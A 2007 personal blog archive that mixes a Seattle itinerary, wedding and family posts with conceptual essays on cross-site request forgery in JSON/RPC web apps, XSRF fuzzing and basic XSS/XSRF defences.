Monday, July 30, 2007

visiting seattle 101

tenzing momo
I haven't had a great family vacation in a few years, so this past weekend when my cousins and aunt and uncle visited Seattle was tons of fun. I'm still out here for a while longer, hanging around Belltown, but they were only in town for 4 days. So my cousin and I took them all around to see the city, and I figured I'd list our itinerary here, since it's a decent list of things to see in one of my favorite cities.

Day One Arrive at Seatac, travel to Belltown to drop off luggage. Walk to Pike Place Market, make sure to pick up some good food at places like Piroshky Piroshky and Daily Dozen Doughnuts. Walk down First Ave to Harbor Steps. Walk halfway down Harbor Steps to Post Alley, head down to Pioneer Square. Stop in at lots of galleries, make your way to Cafe Umbria for an affrogato (espresso poured over gelato) and eat it on the chairs in the courtyard area. Then either catch a free route 99 bus up to Belltown, or walk back. Cook what you got from the market, eat dinner on a deck with a view of Elliott Bay.

Day Two If you're here on the right weekend, travel to Bellevue for the Bellevue Arts Fair. Marvel at all the crafts. Duck into Nordstroms. Eat some ice cream for lunch. Head home to Belltown, walk around the neighborhood a bit, then go up to Golden Gardens Park for the sunset. The beach is great in the evening, even if the water is freezing. If the art fair isn't around, you could go to Woodland Park Zoo or Volunteer Park.

Day Three If it's Sunday, go to Fremont for the Sunday Market and brunch and shopping. If you're feeling ambitious, you could also head over to Ballard. Head home after lunch, walk around downtown, then cook up some more food from Pike Place Market and watch a movie.

feeding koi
Day Four Tour the Olympic Sculpture Park and the Space Needle. Head up to the Japanese Garden in the Arboreteum, then go out for some Thai food. Afterwards, you could fit in a ferry ride.

There, that's the perfect four day visit to Seattle! The most important piece is huge dinners every night with everything from Pike Place market- squash soup, big salads, green beans, olive bread, skagit mud brownies, fruit pies and tarts, and lots of family.

Monday, July 23, 2007

My Best Friend's Wedding

This past weekend was busy busy busy, but one of the best ones I've ever had in my life. I'm out in Seattle, where my best friend just got married yesterday!

Brian & Josalyn are incredibly lucky to have found each other. I've had the chance to see how great they are together for the last couple years. Finally meeting so many members of Brian's family who I've talked to on the phone and heard stories about for years was a great experience, as was seeing so many Amazonians gathered for the party. There will be photos soon- I shot using my Canon EOS 7 (I believe I went through 10 rolls of 35mm with it) and Brian's Nikon DSLR that I used until the batteries ran out. Yes, I ran around the whole wedding with two huge cameras around my neck. Now I wish I could pull some pictures off the DSLR this morning but the battery charger is on the other side of Seattle's downtown. Considering the logistics involved in the wedding, having something small like that be the biggest problem is a great state to be in!

My two wedding jobs were to get Brian, his best man, and the groomsmen into the car and to the wedding on time- we accomplished that- and take lots of pictures. That left lots of time to have fun at the wedding and get to talk to Brian's family, so many "It's great to finally get to meet you after all these years!" were exchanged.

After brunch on Saturday, of course, I got my Harry Potter book from amazon. I snapped a few pictures of the great custom box before I tore into it. As the wedding started on Sunday, I'd managed to get all the way to the last 100 pages. I'd been cramming it in between the rehearsal dinner, the pre-wedding pictures, a few pages here and there. When I got home after the wedding last night I sat down & finished it up. It was very well done, and I enjoyed it a lot, quite a bit more than the previous one which I'd felt was a little weak. I'm not giving away any spoilers, but it's a fantastic read. I will admit I yelled at the couple a few months ago for planning the wedding on the Harry Potter release weekend, but it was fun sneaking in reading a few chapters in the middle of our parties & picture taking.

Thursday, July 19, 2007

awww baby

The following items are being prepared for shipment by Amazon.com:
---------------------------------------------------------------------
Qty Item Price Shipping Subtotal
---------------------------------------------------------------------
Amazon.com items (Sold by Amazon.com, LLC) :
1 Harry Potter and the Death... $17.99 1 $17.99

Wednesday, July 18, 2007

Why Javascript Remote Procedure Calls beget more Cross Site Request Forgeries

This is going to be a long blog post. I've tried to cut it down, but I've been thinking a lot about this topic for over a year and it's hard to walk all the way through this vulnerability without explaining a lot.

A few days ago I posted a small rant about how there were no "web 2.0 vulnerabilities" that did not also affect older websites. While that's true, the increasing popularity of sites using various javascript RPC methods is definitely leading to a rise in XSRF vulnerabilities, and I wanted to write something on my thoughts on why that is.

I'm not going to talk about vanilla-HTTP-form-post-with-no-secret-token cross site request forgery here. That vulnerability has been about unchanged for a long time, and I'm going to pretty much ignore it- I don't have anything new to say on it at the moment.

In 1995, when I first had web access, websites were pretty basic in comparison to what we have now. To run, say, a search engine, you'd have a handler on a webserver that took user input and wrote out response HTML. It might branch off a new process to do a search, depending on the software, and then it would collect the responses and return them via HTTP to the browser.

Very shortly webpages started getting a little bit more complex. When these first dynamic web pages were made it was very difficult to decouple "backend" software from the pages that it generated. There might be a database behind the web site, and maybe that was on a different server. Most likely, though, the code that wrote to the database was wrapped up in the same binary that generated the HTML for the webpages and processed the inputs and all that was just on one webserver. Everything would be in, perhaps, 1 perl file and a few perl modules.

RPCs, Services, and tiers

So then, "services" started to appear. And front end code, that printed out HTML, was often split out into new binaries, and CSS arrived. So we got some decoupling of "code that writes HTML" from "code that inserts data into the DB" in larger websites. Soon, "code that inserts data into the DB" was moved off to another server entirely. It was the start of "multi tiered" websites.

This is a great way to build complicated websites, and there's so much written about multi tier website architecture that I'm not going to explain it here. We'll just note that the middle tier servers that, perhaps, performed various actions and returned data to the web front ends probably had a bunch of protections in place limiting who could talk to them and involving swanky authentication. And this was generally over internal network connections, entirely within a particular data center. More service layers might be written, caches added and so forth, but the general architecture was the same. So let's say that a site wants to display to a user "here are the groups you belong to".

Probably this was what happened:
1. the user clicks to a URL like "example.com/showmemygroups.cgi", and the browser sends her login cookie with the request
2. the webserver gets the request and determines it's user "annika" from the cookies
3. the webserver software assembles a request object for the groups that user "annika" belongs to and makes a request to a middle tier server over some networking protocol (over an internal network connection, remember)
4. the middle tier server works magic and assembles an object that holds annika's groups, then dispatches the result to the web server software
5. the web server parses the groups object and builds a HTML page to display the data. that is returned to the user's browser via HTTP

Web 2.0
In recent years, a lot of sites have realized that you can make RPC calls in javascript. (RPC = Remote Procedure Call. Again, there's a lot written on this on the web so I won't explain it much here) This is pretty cool, website applications no longer are bound by "click, load a page, click, load a page" and can now behave more like desktop applications. I think that this is a good thing in general. Again, many other people have written wonderful things about the rise of web services and Ajax and mashups and "the programmable web."

But now in the programmable web world, developers don't want to have to make the user go to a new page to see, perhaps, that they joined a cool group on a social networking site. They want to be able to show the user "here are your groups" on the page that they are on right now.

The browser rendering the webpage makes a GET or a POST to get the groups data, but it might talk directly to the server that used to be "the middle tier server" sitting alone in a data center and only speaking to the frontend web server. In the new model, it might talk directly to browsers. Or the code that ran on it might now run on our webserver. The data isn't just going over internal network connections, so you can't easily limit what IP addresses can make these RPC calls- it's now the users browser making the RPC call, from the user's IP address. The data that it returns is in a nice, portable format generally, like a javascript list.
Remember those steps above? Here's what they are now:

1. the user performs an action that triggers a "getGroups" function in the "myutilities.js" file (that the page we're on included)which perhaps triggers a getXMLHttpRequest (or similiar) call to the webserver. Then the browser sends her login cookies along with the javascript-triggered HTTP request.

2. the request goes not to the webserver software that wrote the HTML but maybe gets forwarded right to the middle tier (potentially via some URL rewriting on the server side or a some other methods)

3. the middle tier server inspects the cookies it was given, sees that they belong to "annika" and works magic and assembles an object that holds annika's groups, wraps it into a javascript list object, then dispatches the result to the browser

4. the browser takes the returned JS and writes it to the page that annika is viewing

So what just happened? For one, we changed who can make the RPC calls and who can access the data returned by it. And we changed the format of the request and the format of the response.

Notice how we lean only on cookies for authentication now. This is where I tend to lose people- there are still all those "determine user" steps in there, so it might look more secure. It's not.

An Explanation of what's broken
What happens in that scenario is that calls like <script src="http://othersite.com/myutilities.js"> - what we made above- can be placed on www.example.com -and then calls to its getGroups function will work. And the site is sending back data in a format that can be used on any third party website making the RPC call.

If we have a call to othersite.com's getGroups fuction on example.com, the user's browser will send the othersite.com cookies along with the getGroups function... even though the function was called from a page that comes from example.com. That just jumped us out of the usual javascript Same Domain sandboxing. The groups will come back in a javascript list and be readable by the javascript on example.com - we used the user's othersite.com credentials to request data that we want which we wouldn't be able to request on our own. I could maybe see MY othersite.com groups, but without this technique, I can't see Annika's groups short of stealing her password.

Where most of the security vulnerabilities arise that I've seen is that people don't stop to think about disclosing private data. I've seen a few account change actions disclosed this way, but not as many.

What's mostly happened is that there's been a wrapper put around some old backend libraries to expose them via javascript, and then those have been used on the site. Let me point out something here- even if we did not remove the "talk to web server, web server talks to middle tier server, middle tier server returns an object" steps, this would still be insecure. The fact that we can call this code from any third party site but have the orginal site's cookies get sent is what's insecure. And the format that the data comes back in allows it to be potentially read by the third party site.

Another clarification here- for private data disclosure bugs, we need to have the return data from othersite.com in a format that the rendering webpage on example.com can read. For account information changing bugs- where hitting a URL will, for example, mark that "I give this group 4 stars!", the return data does NOT need to be readable by the page on example.com.

Fixing this
Can this be fixed? Yes, absolutely. It's just that I've seen a lot of naive implementations of frameworks of this sort. And a lot of people try to fix this and fail.

What is a bad fix? Checking referral headers. There was a way to use flash to break that, and it was fixed (but who knows how many users upgraded their flash to the fixed version). And now there's a new way to do it again... I wouldn't rely on that staying fixed. Using POST only isn't going to cut it either.

What is a good fix? Make sure that you don't return a JS list or other eval-able JS code in step #4 above. Boobytrapping is good. I linked a few days ago to a site which shows good and bad ways to return data from RPCs, but here it is again:
http://jpsykes.com/47/practical-csrf-and-json-security

This post is really a work in progress because I'm still trying to figure out how to explain all this in a way that's clear. Criticism and feedback welcomed, my email is on my domain's homepage.

Tuesday, July 17, 2007

teensy


teensy
Originally uploaded by wck
Thomas actually isn't really so teensy- he's almost to 12 pounds. And still the cutest little nephew ever. I love this picture, which my sister took- it's my cousin Chad holding Thomas a few weeks ago. He's such a laid back little baby, so unlike Ana who was fussy and really loud when she was fussy.

Automatically fuzzing for XSRF

Planet Websecurity has a great blog post up about the state of XSRF testing. In particular, there's a section that calls out one of the big difficulties in writing an XSRF fuzzer that would be as useful as most XSS fuzzers. This is mostly due to the fact that fuzzers, as they are mostly written now, use input/output matching to automatically flag vulnerabilities.

It is hard to write a zero knowledge signature for XSRF that is *accurate*. - Planet Websecurity


(it appears that the original of this post is over on O'Reilly: The Complexities of Assessing XSRF Automatically Yet Accurately by Nitesh Dhanjani)

It's true, it's not simple. It's not impossible, though, to write a generalized XSRF fuzzer. First, the fuzzer should be able to record a web app login and use it for fuzzing. Then there are three things to think about:
* the fuzzer should try every GET/POST both with the login cookies and without them
* it should try every POST request that it came across as a GET as well
* it should try GET/POST requests by swapping different subdomains or swapping out the subdomain


The reason to do the first is to identify actions that react differently when the user is logged in/not logged in (and flag ones where it's different as potential XSRF surfaces). The second one is similiar- web developers who are aware of XSRF sometimes try to protect their apps by making requests only work through POST (hint to those developers- that's not a good fix). The last one is because those developers also try to protect their web apps by only taking POST/GETs that modify acct information on certain subdomains of their website. Sometimes they do this for the same reason as the POST-only limitation, and sometimes they do it because they're trying to protect against XSS.

Why? If there's an XSS hole on foo.example.com and all the account changing actions have to be done on abc.example.com, you can't use the foo subdomain XSS to do a XSRF request on the abc subdomain because of the javascript engine's sandboxing. In addition, foo.example.com cookies will not be sent along by your browser with a request to abc.example.com. Note that example.com cookies, though, go to both.

Monday, July 16, 2007

more web security

So it appears to me that when it's in the upper 70s and not too humid, Greenwich Village is one of the most wonderful places ever. This evening I had a nice walk across Washington Square park...beautiful. So wonderful. How many times am i going to post "OMG I love this city?" Probably a bunch more until the crush wears off. I really can't believe how lucky I am to get to be here.

I realized this afternoon that googling for "json xsrf" will pull up my December post on this topic in the first set of Google results. That's pretty scary, seeing as I totally waved my hands around on that post and said "be careful" and not much more. And, well, I'm a big webapp sec nerd, but I'm not a javascript expert and certainly not anything like one of the most knowledgeable people on webapp sec.

If you want to really learn something useful about how to secure your JSON from XSRF holes, go read these two blog posts instead:

* http://www.matasano.com/log/752/fortifys-announcement-about-jeremiahs-attack-decoded/
* http://jpsykes.com/47/practical-csrf-and-json-security

What really concerns me, though, is that there is a lot of FUD out there about "web 2.0" security. There are no web application vulnerabilities that apply ONLY to "web 2.0 websites" (whatever those really are). XSS is still an issue, but getXMLHTTPRequest does not, on its own, make that any bigger of an issue. Really, there are very few actual new web application vulnerabilities. (I'm still digesting the stuff about registered URL handlers- I think that might be a new one, although it's obviously also tightly coupled with xss and xsrf.)

If you want to shut down XSS entirely on your site, there's very little you have to do.
  1. escape <, >, single quotes, double quotes, and backticks in EVERYTHING you EVER get from a user, even if it's a cookie value that you think you put on their computer, even if it's a text string you think you're just writing to a database and never looking at
  2. Explicitly set your charsets on every single page
  3. Rewrite any user uploaded images that you present back to other users
  4. escape or strip out every \r\n
  5. be mindful of your charsets and character encoding

There. I swear, that will get you 99% of the way there. Ok, yes, re-writing images is a holy pain in the neck. but necessary.

XSRF is a little harder. Not much, but it's not as dead simple as XSS is. There is one fix for it that will work incredibly well, but you had better not have a XSS hole on your site and you need to devote the computational power to fix it.
  1. Generate secure one time tokens for all of your "account modification requests" (for lack of being able to think of a better phrase)
  2. Now check it on every single request and never ever let user B's token work on user A's information


That will cure most xsrf problems... if you don't have an XSS hole on your site. If you do, go google "samy is my hero" to see why you're hosed. One of the interesting parts of security web applications is that all of these vulnerabilities play together. You can do a lot of dumb stuff with XSS like drawing new login boxes to go phishing with, but you can also leverage it to expose xsrf holes in an otherwise secure web application. It's all a big house of cards, because of the statelessness of the web (even so called 'stateful web 2.0 apps' are not really stateful. they fake it by and large) and the craptastic rendering engines we have out there.

Like I posted back in December, and as the two JSON/XSRF blog posts above discuss, you need to think a little more about what information you pass back in JSON, or use it in a way that will protect you from yourself (ie only return code that needs to be tweaked before you eval it). The way that <script src> breaks out of the javascript sandbox is confusing. Go read those blog posts above, they're clear and come with actual sample code.

I was talking with a web dev today about why he had a XSRF hole with some RPC calls that used cookie authentication and returned JSON. He inadvertently pretty much summed up why we have web application holes despite this stuff not being rocket science. He was saying "but we modify the RPC's response before we eval the code... oh wait, just because we modify it doesn't mean you have to. I see, I need think about what other people can do not what we do." That is pretty much what all this rambling sums up to.

I'll write something soon summarizing web services and feed vulnerabilites, but as I noted above about so called web 2.0 vulnerabilities... it's nothing new and it's nothing that only touches them. And of course none of this even touches on SQL injection, buffer overflows, or attacks on specific pieces of software such as exploits against the linux that a particular website might run over.